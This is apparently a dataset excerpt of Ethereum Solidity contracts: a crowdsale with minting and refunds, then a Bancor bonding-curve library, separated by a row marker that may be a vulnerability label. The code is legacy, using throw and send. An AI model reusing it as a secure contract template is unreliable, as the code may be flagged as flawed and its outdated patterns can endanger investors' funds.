function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 1 | 3,536 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract Power {
string public version = "0.3";
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80;
uint256 private constant OPT_LOG_MAX_VAL =
0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL =
0x800000000000000000000000000000000;
uint256[128] private maxExpArray;
constructor() public {
maxExpArray[32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
function power(
uint256 _baseN,
uint256 _baseD,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8)
{
require(_baseN < MAX_NUM, "baseN exceeds max value.");
require(_baseN >= _baseD, "Bases < 1 are not supported.");
uint256 baseLog;
uint256 base = _baseN * FIXED_1 / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = baseLog * _expN / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision);
}
}
function generalLog(uint256 _x) internal pure returns (uint256) {
uint256 res = 0;
uint256 x = _x;
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count;
res = count * FIXED_1;
}
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1;
if (x >= FIXED_2) {
x >>= 1;
res += ONE << (i - 1);
}
}
}
return res * LN2_NUMERATOR / LN2_DENOMINATOR;
}
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
uint256 n = _n;
if (n < 256) {
while (n > 1) {
n >>= 1;
res += 1;
}
} else {
for (uint8 s = 128; s > 0; s >>= 1) {
if (n >= (ONE << s)) {
n >>= s;
res |= s;
}
}
}
return res;
}
function findPositionInMaxExpArray(uint256 _x)
internal view returns (uint8)
{
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x)
lo = mid;
else
hi = mid;
}
if (maxExpArray[hi] >= _x)
return hi;
if (maxExpArray[lo] >= _x)
return lo;
assert(false);
return 0;
}
function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000;
xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000;
xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000;
xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000;
xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000;
xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000;
xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000;
xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000;
xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000;
xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000;
xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000;
xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000;
xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000;
xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000;
xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000;
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000;
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900;
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340;
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021;
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001;
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision);
}
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;}
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;}
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;}
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;}
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;}
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;}
if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;}
if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;}
z = y = x - FIXED_1;
w = y * y / FIXED_1;
res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000;
return res;
}
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000;
z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000;
z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000;
z = z * y / FIXED_1; res += z * 0x0168244fdac78000;
z = z * y / FIXED_1; res += z * 0x004807432bc18000;
z = z * y / FIXED_1; res += z * 0x000c0135dca04000;
z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000;
z = z * y / FIXED_1; res += z * 0x000036e0f639b800;
z = z * y / FIXED_1; res += z * 0x00000618fee9f800;
z = z * y / FIXED_1; res += z * 0x0000009c197dcc00;
z = z * y / FIXED_1; res += z * 0x0000000e30dce400;
z = z * y / FIXED_1; res += z * 0x000000012ebd1300;
z = z * y / FIXED_1; res += z * 0x0000000017499f00;
z = z * y / FIXED_1; res += z * 0x0000000001a9d480;
z = z * y / FIXED_1; res += z * 0x00000000001c6380;
z = z * y / FIXED_1; res += z * 0x000000000001c638;
z = z * y / FIXED_1; res += z * 0x0000000000001ab8;
z = z * y / FIXED_1; res += z * 0x000000000000017c;
z = z * y / FIXED_1; res += z * 0x0000000000000014;
z = z * y / FIXED_1; res += z * 0x0000000000000001;
res = res / 0x21c3677c82b40000 + y + FIXED_1;
if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776;
if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4;
if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f;
if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9;
if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea;
if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d;
if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11;
return res;
}
}
pragma solidity ^0.5.2;
contract BancorBondingCurve is Power {
using SafeMath for uint256;
uint32 private constant MAX_RESERVE_RATIO = 1000000;
function calculatePurchaseReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _depositAmount) public view returns (uint256)
{
require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO);
if (_depositAmount == 0) {
return 0;
}
if (_reserveRatio == MAX_RESERVE_RATIO) {
return _supply.mul(_depositAmount).div(_reserveBalance);
}
uint256 result;
uint8 precision;
uint256 baseN = _depositAmount.add(_reserveBalance);
(result, precision) = power(
baseN, _reserveBalance, _reserveRatio, MAX_RESERVE_RATIO
);
uint256 newTokenSupply = _supply.mul(result) >> precision;
return newTokenSupply - _supply;
}
function calculateSaleReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _sellAmount) public view returns (uint256)
{
require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO && _sellAmount <= _supply);
if (_sellAmount == 0) {
return 0;
}
if (_sellAmount == _supply) {
return _reserveBalance;
}
if (_reserveRatio == MAX_RESERVE_RATIO) {
return _reserveBalance.mul(_sellAmount).div(_supply);
}
uint256 result;
uint8 precision;
uint256 baseD = _supply - _sellAmount;
(result, precision) = power(
_supply, baseD, MAX_RESERVE_RATIO, _reserveRatio
);
uint256 oldBalance = _reserveBalance.mul(result);
uint256 newBalance = _reserveBalance << precision;
return oldBalance.sub(newBalance).div(result);
}
}
pragma solidity ^0.5.2;
contract ContinuousToken is BancorBondingCurve, Ownable, ERC20 {
